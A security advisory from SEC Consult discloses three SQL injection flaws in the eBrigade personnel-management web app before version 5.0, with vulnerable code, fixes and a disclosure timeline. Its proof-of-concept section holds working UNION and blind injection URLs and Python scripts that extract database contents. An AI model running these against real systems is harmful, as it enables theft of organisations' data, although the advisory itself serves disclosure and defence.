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eBrigade SQL Injection

eBrigade SQL Injection
Posted Sep 26, 2019
Authored by David Haintz | Site sec-consult.com

eBrigade versions prior to 5.0 suffer from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2019-16743, CVE-2019-16744, CVE-2019-16745
MD5 | d728e81587531ee5c5d7a44a62cb05a4

eBrigade SQL Injection

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SEC Consult Vulnerability Lab Security Advisory < 20190926-0 >
=======================================================================
title: Multiple SQL Injection vulnerabilities
product: eBrigade
vulnerable version: <5.0
fixed version: >=5.0
CVE number: CVE-2019-16743, CVE-2019-16744, CVE-2019-16745
impact: critical
homepage: https://ebrigade.net
found: 2019-06-06
by: D. Haintz (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"eBrigade is a web application that allows the management of personnel, vehicles
and equipment of rescue centers (fire brigades), associations of first
responders and military organizations. Highly configurable, eBrigade can meet
the expectations of many other organizations. Skills management, generation of
the cover sheet according to availability. Management of the interventions and
the victims with assessment sheets rescuers. Private social network.
Notifications and alerts by email and SMS. Accounting, reporting and numerous
graphs allow precise monitoring of the organization." (translated)

Source: https://ebrigade.net/


Business recommendation:
------------------------
The vendor provides a patch and users of this product are urged to immediately
upgrade to the latest version available.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security
issues.


Vulnerability overview/description:
-----------------------------------
1) Multiple SQL Injection vulnerabilities
Due to insufficient sanitization of user input an authenticated attacker can
execute arbitrary SQL code in several SELECT statements. Since two of the three
vulnerabilities are completely unsanitized and responsible to serve ICAL files,
an attacker can let a user download manipulated calendar files. Besides that an
attacker can also dump the whole database.

The third vulnerability results out of wrong usage of sanitization functions.
This enables an attacker to manipulate the SQL query with specially crafted
requests resulting into a blind SQL injection, as described in one of the
following vulnerabilities.

a) & b) Multiple UNION SQL Injections (CVE-2019-16743, CVE-2019-16744)
The parameters of two links can be manipulated so any arbitrary query to any
table or database can be added to the output of the resulting calendar files
using the UNION functionality of SQL.

c) Boolean-based Blind SQL Injection (CVE-2019-16745)
The parameters of a search result can be manipulated to guess the returned
values of an arbitrary query.


Proof of concept:
-----------------
1) Multiple SQL Injection vulnerabilities
All vulnerabilities were tested with an authenticated user with the lowest
access rights (public). The whole PoC script requires an authenticated user for any
functionality.
The user is authenticated by a PHP session using the cookie PHPSESSID (may
vary at different webservers). In conclusion, every request described below
requires the PHP session cookie.


a) UNION SQL Injection in evenement_ical.php (CVE-2019-16743)

The script evenement_ical.php uses the unsanitized parameter "evenement" to
query the database. The results are written into a downloadable calendar file.
By adding a UNION statement, an attacker can extend the output with arbitrary
data of the database:

The user input is read on line 42:
$evenement=(isset($_GET['evenement'])?$_GET['evenement']:"");

On line 88-89 it is added to the SQL statement:
if ($evenement !="")
$sql .= "\n and e.e_code = $evenement ";

Which is executed and fetched in line 136 and 138:
$res = mysqli_query($dbc,$sql);
while($row=mysqli_fetch_array($res)){

Since e_code is of type integer, the proper sanitization method would be
intval().


POC URL: evenement_ical.php?evenement=1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14--
-> Version after 'LOCATION:'


POC in Python:

import requests
import string
import re


url = input("URL without file (i.e. https://localhost/ebrigade): ")
phpsession = input("PHPSESSID: ")

cookies = {'PHPSESSID': phpsession}

payload = '+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14--'

print("Testing vulnerability")
r = requests.get('{0}/evenement_ical.php?evenement=1{1}'.format(url, payload),
cookies=cookies)

matches = re.findall( r'^LOCATION:(.*)$', r.text, flags=re.MULTILINE)
print("Found version: {0}".format(matches[-1]))



b) UNION SQL Injection in evenements.php (CVE-2019-16744)

The script evenements.php uses the unsanitized parameter "cid" to query the
database. The results are written into a downloadable calendar file. By
breaking out of the string and adding a UNION statement, an attacker can extend
the output with arbitrary data. But the parameter "cid" must start with a valid
cid.

The user input is read on line 48:
$key = (isset($_GET['cid'])?$_GET['cid']:"");

On line 69 it is inserted as SQL string into the query:
$sqlp="select p.p_id, p.p_nom, p.p_prenom, p.p_code, p.p_mdp ,p.p_calendar,
p.p_section section, s.s_code,
md5(concat(p.p_id,'-',p.p_nom,'-',p.p_mdp)) keyp
from pompier p , section s
where p.p_fin is null
and p.p_section = s.s_id
and md5(concat(p.p_id,'-',p.p_nom,'-',p.p_mdp)) = '$key'

Which is executed and fetched on line 72 and 73:
$resp = mysqli_query($dbc,$sqlp);
while($rowp= mysqli_fetch_array($resp)){

Here an attacker can add arbitrary SQL code by breaking out of the string.
Since the expected value is of type string, the proper sanitization method
would be mysqli_real_escape_string().


POC URL: evenements.php?cid=<valid_cid>%27+union+select+1,2,3,4,5,6,7,version(),%279
-> Version can be found in X-WR-CALNAME


POC in Python:

import requests
import string
import re


url = input("URL without file (i.e. https://localhost/ebrigade): ")
phpsession = input("PHPSESSID: ")
valid_cid = input("Valid CID: ")

cookies = {'PHPSESSID': phpsession}

payload = '%27+union+select+1,2,3,4,5,6,7,version(),%279'

print("Testing vulnerability")
r = requests.get('{0}/evenements.php?cid={1}{2}'.format(url, valid_cid, payload), cookies=cookies)

matches = re.findall( r'^X-WR-CALNAME:(.*) - (.*)$', r.text, flags=re.MULTILINE)
print("Found version: {0}".format(matches[0][1]))


c) Blind SQL Injection in evenement_choice.php (CVE-2019-16745)

The script evenement_choice.php uses the wrongly sanitized parameter
"chxCal" as an array to query the database. The results are shown in a search
result. By breaking out, an attacker can extend the query's condition to guess
or brute arbitrary data.

The user input is read on line 108:
$ChxCalendar = (isset($_GET['btGo'])?(isset($_GET['chxCal'])?$_GET['chxCal']
:array()):$chxCal);

On line 169 it is added to the statement by joining the array elements and
wrongly sanitizing it with mysqli_real_escape_string():
$query .= "\n and S.S_ID in (".get_family("$filter").(count($ChxCalendar)>0?",
".mysqli_real_escape_string($dbc,implode(",",$ChxCalendar)):"").")";

Which is executed on line 202:
$result=mysqli_query($dbc,$query);

Here an attacker can add arbitrary SQL code - except quotations - by breaking
out of the list.
Since the expected value of each element is of type integer, the proper
sanitization method would be intval() for each array element.


POC URL: evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(ord(substring(version(),0,1))+%3D+49
-> Would return the search results in case the version starts with 1 (since the ASCII value of 1 is 49).


POC in Python:

import requests
import string


url = input("URL without file (i.e. https://localhost/ebrigade): ")
phpsession = input("PHPSESSID: ")

true_payload = ')+and+(1%3D1'
false_payload = ')+and+(1%3D0'

cookies = {'PHPSESSID': phpsession}

print("Testing vulnerability")
r = requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5{1}'.format(url, true_payload),
cookies=cookies)
true_len = len(r.text)
r = requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5{1}'.format(url, false_payload),
cookies=cookies)
false_len = len(r.text)

if (true_len > false_len):
print("Vulnerability verified.")

# get string length
version_len = 0
while
len(requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(length(version())+%3D+{1}'.format(url,
version_len),
cookies=cookies).text) == false_len:
version_len += 1
print("Version string has {0} characters.".format(version_len))

# brute version
version_string = ''
for i in range(version_len):
print("Bruting position {0}".format(i+1))
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + '.-'
for c in chars:
if
len(requests.get('{0}/evenement_choice.php?ec_mode=default&page=1&btGo=1&chxCal[0]=5)+and+(ord(substring(version(),{1},1))+%3D+{2}'.format(url,

i+1, ord(c)), cookies=cookies).text) > false_len:
version_string += c
print("Found new char of version: {0}".format(version_string))
continue
print("Found version: {0}".format(version_string))

else:
print("Could not verify Vulnerability.")


Vulnerable / tested versions:
-----------------------------
The following versions were tested and found to be vulnerable:
- 4.5.1
- 4.5
- 4.4
- 4.3
- 4.2
- 4.1
- 4.0


Vendor contact timeline:
------------------------
2019-06-14: Contacting vendor through https://ebrigade.net/contact/
2019-06-15: Vendor replies to send advisory via unencrypted email
2019-06-17: Sending the advisory to the vendor to the given email address
Vendor acknowledges receipt, plans to release eBrigade version 5.0
with security improvements soon
2019-07-02: Asking vendor for a status update
Vendor: the new release 5.0 will "likely be available next month"
2019-08-14: Asking for a status update; no reply
2019-08-29: Set the release date to 2019-09-26, since release of the fixed version
should be this month and no answer on news was received by the vendor
2019-09-23: Checking the vendor website, verification that a new version has already
been released which fixes the issues
2019-09-26: Public release of security advisory


Solution:
---------
The vendor provides an updated version (v5.0 or higher, v5.0.1) which should be
installed immediately:
https://sourceforge.net/projects/ebrigade/files/


Workaround:
-----------
None.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
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Blog: http://blog.sec-consult.com
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EOF David Haintz / @2019

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